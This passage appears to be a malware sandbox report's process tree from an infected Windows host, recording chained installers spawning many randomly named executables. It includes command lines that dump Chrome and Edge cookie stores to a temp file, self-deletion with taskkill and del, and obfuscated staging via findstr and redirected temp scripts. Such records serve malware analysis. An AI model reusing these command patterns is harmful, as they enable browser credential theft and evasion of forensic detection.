                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSC06B5D46\karotima_2.exe" -a
                                                                                                                                                                11⤵
                                                                                                                                                                  PID:5412
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c karotima_1.exe
                                                                                                                                                              9⤵
                                                                                                                                                                PID:5452
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC06B5D46\karotima_1.exe
                                                                                                                                                                  karotima_1.exe
                                                                                                                                                                  10⤵
                                                                                                                                                                    PID:5612
                                                                                                                                                                    • C:\Users\Admin\Documents\Wj6ZoFNXEk66kqkssCFuXnaT.exe
                                                                                                                                                                      "C:\Users\Admin\Documents\Wj6ZoFNXEk66kqkssCFuXnaT.exe"
                                                                                                                                                                      11⤵
                                                                                                                                                                        PID:6332
                                                                                                                                                                      • C:\Users\Admin\Documents\TjqFP_DQYscx0EDIhtbmypw5.exe
                                                                                                                                                                        "C:\Users\Admin\Documents\TjqFP_DQYscx0EDIhtbmypw5.exe"
                                                                                                                                                                        11⤵
                                                                                                                                                                          PID:6320
                                                                                                                                                                          • C:\Users\Admin\Documents\TjqFP_DQYscx0EDIhtbmypw5.exe
                                                                                                                                                                            C:\Users\Admin\Documents\TjqFP_DQYscx0EDIhtbmypw5.exe
                                                                                                                                                                            12⤵
                                                                                                                                                                              PID:6876
                                                                                                                                                                          • C:\Users\Admin\Documents\OMligceJxx9YrUQLN_oFHOu0.exe
                                                                                                                                                                            "C:\Users\Admin\Documents\OMligceJxx9YrUQLN_oFHOu0.exe"
                                                                                                                                                                            11⤵
                                                                                                                                                                              PID:6312
                                                                                                                                                                            • C:\Users\Admin\Documents\YCMicI21msDgJ3NixIPB_8Aj.exe
                                                                                                                                                                              "C:\Users\Admin\Documents\YCMicI21msDgJ3NixIPB_8Aj.exe"
                                                                                                                                                                              11⤵
                                                                                                                                                                                PID:6424
                                                                                                                                                                                • C:\Users\Admin\Documents\YCMicI21msDgJ3NixIPB_8Aj.exe
                                                                                                                                                                                  C:\Users\Admin\Documents\YCMicI21msDgJ3NixIPB_8Aj.exe
                                                                                                                                                                                  12⤵
                                                                                                                                                                                    PID:7496
                                                                                                                                                                                • C:\Users\Admin\Documents\XnvskxwZbsRDdfMMUcC6ES6W.exe
                                                                                                                                                                                  "C:\Users\Admin\Documents\XnvskxwZbsRDdfMMUcC6ES6W.exe"
                                                                                                                                                                                  11⤵
                                                                                                                                                                                    PID:6452
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                      12⤵
                                                                                                                                                                                        PID:7068
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                        12⤵
                                                                                                                                                                                          PID:4568
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                          12⤵
                                                                                                                                                                                            PID:6756
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                            12⤵
                                                                                                                                                                                              PID:7756
                                                                                                                                                                                          • C:\Users\Admin\Documents\M2siZQXVb2qGq4gAb3RSf2iB.exe
                                                                                                                                                                                            "C:\Users\Admin\Documents\M2siZQXVb2qGq4gAb3RSf2iB.exe"
                                                                                                                                                                                            11⤵
                                                                                                                                                                                              PID:6532
                                                                                                                                                                                              • C:\Users\Admin\Documents\M2siZQXVb2qGq4gAb3RSf2iB.exe
                                                                                                                                                                                                C:\Users\Admin\Documents\M2siZQXVb2qGq4gAb3RSf2iB.exe
                                                                                                                                                                                                12⤵
                                                                                                                                                                                                  PID:6008
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im M2siZQXVb2qGq4gAb3RSf2iB.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\M2siZQXVb2qGq4gAb3RSf2iB.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                      PID:7684
                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                        taskkill /im M2siZQXVb2qGq4gAb3RSf2iB.exe /f
                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                        PID:6916
                                                                                                                                                                                                  • C:\Users\Admin\Documents\M2siZQXVb2qGq4gAb3RSf2iB.exe
                                                                                                                                                                                                    C:\Users\Admin\Documents\M2siZQXVb2qGq4gAb3RSf2iB.exe
                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                      PID:6756
                                                                                                                                                                                                  • C:\Users\Admin\Documents\1b9eWHdiNLrJ7iVexrFN4j9s.exe
                                                                                                                                                                                                    "C:\Users\Admin\Documents\1b9eWHdiNLrJ7iVexrFN4j9s.exe"
                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                      PID:6568
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\1234.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\1234.exe 1234
                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                          PID:4112
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\1234.exe
                                                                                                                                                                                                            "{path}"
                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                              PID:7208
                                                                                                                                                                                                        • C:\Users\Admin\Documents\Igdsc8J5hU36rEgvhcjbxTCR.exe
                                                                                                                                                                                                          "C:\Users\Admin\Documents\Igdsc8J5hU36rEgvhcjbxTCR.exe"
                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                            PID:6520
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp
                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                PID:6836
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  cmd
                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                    PID:6908
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                      findstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp
                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                        PID:5184
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Acre.exe.com
                                                                                                                                                                                                                        Acre.exe.com k
                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                          PID:6776
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                          ping 127.0.0.1 -n 30
                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                          • Runs ping.exe
                                                                                                                                                                                                                          PID:2892
                                                                                                                                                                                                                  • C:\Users\Admin\Documents\tjqsZFtvgQd4X3NnHrZl8uc2.exe
                                                                                                                                                                                                                    "C:\Users\Admin\Documents\tjqsZFtvgQd4X3NnHrZl8uc2.exe"
                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                      PID:6512
                                                                                                                                                                                                                      • C:\Users\Admin\Documents\tjqsZFtvgQd4X3NnHrZl8uc2.exe
                                                                                                                                                                                                                        C:\Users\Admin\Documents\tjqsZFtvgQd4X3NnHrZl8uc2.exe
                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                          PID:6016
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im tjqsZFtvgQd4X3NnHrZl8uc2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\tjqsZFtvgQd4X3NnHrZl8uc2.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                              PID:7160
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                taskkill /im tjqsZFtvgQd4X3NnHrZl8uc2.exe /f
                                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                PID:5636
                                                                                                                                                                                                                          • C:\Users\Admin\Documents\tjqsZFtvgQd4X3NnHrZl8uc2.exe
                                                                                                                                                                                                                            C:\Users\Admin\Documents\tjqsZFtvgQd4X3NnHrZl8uc2.exe
                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                              PID:6352
                                                                                                                                                                                                                          • C:\Users\Admin\Documents\ashZW93iZrniU8VBlUe5dQ8d.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Documents\ashZW93iZrniU8VBlUe5dQ8d.exe"
                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                              PID:6444
                                                                                                                                                                                                                              • C:\Users\Admin\Documents\ashZW93iZrniU8VBlUe5dQ8d.exe
                                                                                                                                                                                                                                C:\Users\Admin\Documents\ashZW93iZrniU8VBlUe5dQ8d.exe
                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                  PID:6900
                                                                                                                                                                                                                              • C:\Users\Admin\Documents\FawjAKTrrli0WwDS_UV8gPc4.exe
                                                                                                                                                                                                                                "C:\Users\Admin\Documents\FawjAKTrrli0WwDS_UV8gPc4.exe"
                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                  PID:6980
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                      PID:7080
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8AB84636\setup_install.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zS8AB84636\setup_install.exe"
                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                          PID:1800
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c karotima_2.exe
                                                                                                                                                                                                                                            14⤵
                                                                                                                                                                                                                                              PID:6508
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS8AB84636\karotima_2.exe
                                                                                                                                                                                                                                                karotima_2.exe
                                                                                                                                                                                                                                                15⤵
                                                                                                                                                                                                                                                  PID:2208
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8AB84636\karotima_2.exe
                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zS8AB84636\karotima_2.exe" -a
                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                      PID:6968
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c karotima_1.exe
                                                                                                                                                                                                                                                  14⤵
                                                                                                                                                                                                                                                    PID:6480
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8AB84636\karotima_1.exe
                                                                                                                                                                                                                                                      karotima_1.exe
                                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                                        PID:6672
                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\EuU579RXOqsMTh6oDmBvUeh5.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\EuU579RXOqsMTh6oDmBvUeh5.exe"
                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                            PID:2240
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp
                                                                                                                                                                                                                                                              17⤵
                                                                                                                                                                                                                                                                PID:7216
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  cmd
                                                                                                                                                                                                                                                                  18⤵
                                                                                                                                                                                                                                                                    PID:7376
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                      findstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp
                                                                                                                                                                                                                                                                      19⤵
                                                                                                                                                                                                                                                                        PID:8032
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.002\Acre.exe.com
                                                                                                                                                                                                                                                                        Acre.exe.com k
                                                                                                                                                                                                                                                                        19⤵
                                                                                                                                                                                                                                                                          PID:7748
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                          ping 127.0.0.1 -n 30
                                                                                                                                                                                                                                                                          19⤵
                                                                                                                                                                                                                                                                          • Runs ping.exe
                                                                                                                                                                                                                                                                          PID:8548
                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\xmLQgfQJnOQJ7WdxXkwZP4bU.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\xmLQgfQJnOQJ7WdxXkwZP4bU.exe"
                                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                                      PID:6988
                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\xmLQgfQJnOQJ7WdxXkwZP4bU.exe
                                                                                                                                                                                                                                                                        C:\Users\Admin\Documents\xmLQgfQJnOQJ7WdxXkwZP4bU.exe
                                                                                                                                                                                                                                                                        17⤵
                                                                                                                                                                                                                                                                          PID:1836
                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\5H5ySpB1WAkZ6WWvusNb5I9C.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\5H5ySpB1WAkZ6WWvusNb5I9C.exe"
                                                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                                                          PID:6380
                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\5H5ySpB1WAkZ6WWvusNb5I9C.exe
                                                                                                                                                                                                                                                                            C:\Users\Admin\Documents\5H5ySpB1WAkZ6WWvusNb5I9C.exe
                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                              PID:7528
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /im 5H5ySpB1WAkZ6WWvusNb5I9C.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\5H5ySpB1WAkZ6WWvusNb5I9C.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                18⤵
                                                                                                                                                                                                                                                                                  PID:2500
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                    taskkill /im 5H5ySpB1WAkZ6WWvusNb5I9C.exe /f
                                                                                                                                                                                                                                                                                    19⤵
                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                    PID:8640
                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\5H5ySpB1WAkZ6WWvusNb5I9C.exe
                                                                                                                                                                                                                                                                                C:\Users\Admin\Documents\5H5ySpB1WAkZ6WWvusNb5I9C.exe
                                                                                                                                                                                                                                                                                17⤵
                                                                                                                                                                                                                                                                                  PID:6532
                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\YWmUvlItHEuBY7hGUk3bHFve.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\YWmUvlItHEuBY7hGUk3bHFve.exe"
                                                                                                                                                                                                                                                                                16⤵
                                                                                                                                                                                                                                                                                  PID:4572
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\YWmUvlItHEuBY7hGUk3bHFve.exe
                                                                                                                                                                                                                                                                                    C:\Users\Admin\Documents\YWmUvlItHEuBY7hGUk3bHFve.exe
                                                                                                                                                                                                                                                                                    17⤵
                                                                                                                                                                                                                                                                                      PID:7700
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\DOsqbzp7LWosbc0wKsbP7IoA.exe
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\DOsqbzp7LWosbc0wKsbP7IoA.exe"
                                                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                                                      PID:6652
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                        17⤵
                                                                                                                                                                                                                                                                                          PID:4200
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                          17⤵
                                                                                                                                                                                                                                                                                            PID:4720
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                              PID:2120
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                              17⤵
                                                                                                                                                                                                                                                                                                PID:7692
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\IYpRlBJs9_FFe3HD8d5etJMt.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\IYpRlBJs9_FFe3HD8d5etJMt.exe"
                                                                                                                                                                                                                                                                                              16⤵
                                                                                                                                                                                                                                                                                                PID:6736
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\DyMGBe27sYqQZ7hfeMqDX4N7.exe
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\DyMGBe27sYqQZ7hfeMqDX4N7.exe"
                                                                                                                                                                                                                                                                                                16⤵
                                                                                                                                                                                                                                                                                                  PID:4484
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\DyMGBe27sYqQZ7hfeMqDX4N7.exe
                                                                                                                                                                                                                                                                                                    C:\Users\Admin\Documents\DyMGBe27sYqQZ7hfeMqDX4N7.exe
                                                                                                                                                                                                                                                                                                    17⤵
                                                                                                                                                                                                                                                                                                      PID:8000
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\ltQ7SAzogm4wMnDZ7Tw0Tjvc.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\ltQ7SAzogm4wMnDZ7Tw0Tjvc.exe"
                                                                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                                                                      PID:6924
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\ltQ7SAzogm4wMnDZ7Tw0Tjvc.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\Documents\ltQ7SAzogm4wMnDZ7Tw0Tjvc.exe
                                                                                                                                                                                                                                                                                                        17⤵
                                                                                                                                                                                                                                                                                                          PID:772
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im ltQ7SAzogm4wMnDZ7Tw0Tjvc.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\ltQ7SAzogm4wMnDZ7Tw0Tjvc.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                            18⤵
                                                                                                                                                                                                                                                                                                              PID:5980
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                taskkill /im ltQ7SAzogm4wMnDZ7Tw0Tjvc.exe /f
                                                                                                                                                                                                                                                                                                                19⤵
                                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                PID:8660
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\zacT05sWNasZOxGy8bFgI_L_.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\zacT05sWNasZOxGy8bFgI_L_.exe"
                                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                                            PID:6276
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\a1_WnyyuBcMceu71DCH9y_fz.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\a1_WnyyuBcMceu71DCH9y_fz.exe"
                                                                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                                                                              PID:5048
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\1234.exe
                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\1234.exe 1234
                                                                                                                                                                                                                                                                                                                17⤵
                                                                                                                                                                                                                                                                                                                  PID:6400
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\1234.exe
                                                                                                                                                                                                                                                                                                                    "{path}"
                                                                                                                                                                                                                                                                                                                    18⤵
                                                                                                                                                                                                                                                                                                                      PID:9912
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\JGbEvRdjALkUeSACBOh_qy9V.exe
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\JGbEvRdjALkUeSACBOh_qy9V.exe"
                                                                                                                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                                                                                                                    PID:6036
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im JGbEvRdjALkUeSACBOh_qy9V.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\JGbEvRdjALkUeSACBOh_qy9V.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                                      17⤵
                                                                                                                                                                                                                                                                                                                        PID:8364
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                          taskkill /im JGbEvRdjALkUeSACBOh_qy9V.exe /f
                                                                                                                                                                                                                                                                                                                          18⤵
                                                                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                          PID:8992
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\FlpeLed3LFQd6ePN49_DzZzH.exe
                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\FlpeLed3LFQd6ePN49_DzZzH.exe"
                                                                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                                                                        PID:7456
                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\FlpeLed3LFQd6ePN49_DzZzH.exe
                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\FlpeLed3LFQd6ePN49_DzZzH.exe"
                                                                                                                                                                                                                                                                                                                          17⤵
                                                                                                                                                                                                                                                                                                                            PID:5552
                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\rXIsfvQGy9wseQIGYStuL6ec.exe
                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\rXIsfvQGy9wseQIGYStuL6ec.exe"
                                                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                                                            PID:7548
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\G_ogYWGnoRf5xyOxaotV73fk.exe
                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\G_ogYWGnoRf5xyOxaotV73fk.exe"
                                                                                                                                                                                                                                                                                                                            16⤵
                                                                                                                                                                                                                                                                                                                              PID:7604
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\AD7yUcZE_SU3PXAq7NY38lRa.exe
                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\AD7yUcZE_SU3PXAq7NY38lRa.exe"
                                                                                                                                                                                                                                                                                                                              16⤵
                                                                                                                                                                                                                                                                                                                                PID:7628
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\5692451.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\5692451.exe"
                                                                                                                                                                                                                                                                                                                                  17⤵
                                                                                                                                                                                                                                                                                                                                    PID:7416
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\5081757.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\5081757.exe"
                                                                                                                                                                                                                                                                                                                                    17⤵
                                                                                                                                                                                                                                                                                                                                      PID:7364
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\z4E_3D71pS4T_sWVEenMuIzQ.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\z4E_3D71pS4T_sWVEenMuIzQ.exe"
                                                                                                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                                                                                                      PID:7792
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\z4E_3D71pS4T_sWVEenMuIzQ.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\z4E_3D71pS4T_sWVEenMuIzQ.exe" -a
                                                                                                                                                                                                                                                                                                                                        17⤵
                                                                                                                                                                                                                                                                                                                                          PID:6644
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\WF9IXzrawSO1FuSCDR2L_UIX.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\WF9IXzrawSO1FuSCDR2L_UIX.exe"
                                                                                                                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                                                                                                                          PID:7844
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                              PID:4528
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS0B17D2B6\setup_install.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zS0B17D2B6\setup_install.exe"
                                                                                                                                                                                                                                                                                                                                                18⤵
                                                                                                                                                                                                                                                                                                                                                  PID:7796
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                    19⤵
                                                                                                                                                                                                                                                                                                                                                      PID:6572
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS0B17D2B6\karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                        karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                        20⤵
                                                                                                                                                                                                                                                                                                                                                          PID:7896
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0B17D2B6\karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zS0B17D2B6\karotima_2.exe" -a
                                                                                                                                                                                                                                                                                                                                                            21⤵
                                                                                                                                                                                                                                                                                                                                                              PID:6864
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c karotima_1.exe
                                                                                                                                                                                                                                                                                                                                                          19⤵
                                                                                                                                                                                                                                                                                                                                                            PID:6668
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS0B17D2B6\karotima_1.exe
                                                                                                                                                                                                                                                                                                                                                              karotima_1.exe
                                                                                                                                                                                                                                                                                                                                                              20⤵
                                                                                                                                                                                                                                                                                                                                                                PID:2256
